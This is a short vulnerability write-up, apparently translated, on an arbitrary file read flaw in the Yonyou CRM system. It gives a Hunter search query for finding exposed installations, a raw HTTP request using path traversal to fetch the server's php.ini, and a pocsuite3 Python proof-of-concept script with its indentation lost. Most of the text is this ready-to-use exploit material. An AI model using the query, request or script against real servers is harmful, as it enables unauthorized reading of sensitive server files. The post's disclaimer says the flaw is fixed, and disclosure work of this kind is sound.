Disclaimer
The vulnerabilities involved in the article have been fixed, and sensitive information has been coded. The article is only for experience sharing . Do not take it seriously. Unauthorized attacks are illegal! Sensitive information in the article has been processed at multiple levels. The user shall be responsible for any direct or indirect consequences and losses caused by the dissemination and use of the information provided in this article. The author does not bear any responsibility for this. Please be responsible for any consequences.
Vulnerability description
Mouyou CRM system is a comprehensive customer relationship management software designed to help companies establish and maintain good relationships with customers. It offers comprehensive functionality including sales management, marketing, customer service, analytical reporting, and more. The system supports a variety of industries and enterprise sizes, and is flexible and customizable, and can be personalized according to the needs of the enterprise. The CRM system software has an arbitrary file reading vulnerability, through which an attacker can obtain sensitive files in the server.
hunter syntax
app.name="用友 CRM"
POC plus detection
GET /pub/help2.php?key=/../../apache/php.ini HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=kq0qq7g3pfmkbou067ksc6uf85
Upgrade-Insecure-Requests: 1
poc script
pocsuite framework for scripts
# _*_ coding:utf-8 _*_
# @Time : 2023/12/18
# @Author: 炼金术师诸葛亮
from pocsuite3.api import Output, POCBase, register_poc, requests, logger
from pocsuite3.api import get_listener_ip, get_listener_port
from pocsuite3.api import REVERSE_PAYLOAD, random_str
class yongyouu8_CRM_fileread(POCBase):
pocDesc = '''用友CRM系统某接口存在任意文件读取'''
author = '炼金术师诸葛亮'
createDate = '2023-12-18'
name = '用友CRM系统某接口存在任意文件读取'
def _verify(self):
result = {}
url = self.url+ '/pub/help2.php?key=/../../apache/php.ini'
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0"
}
try:
response = requests.get(url, headers=headers)
if response.status_code == 200 and 'About php.ini' in response.text:
result['VerifyInfo'] = {}
return self.parse_output(result)
except Exception as e:
pass
register_poc(yongyouu8_CRM_fileread)
Script exploit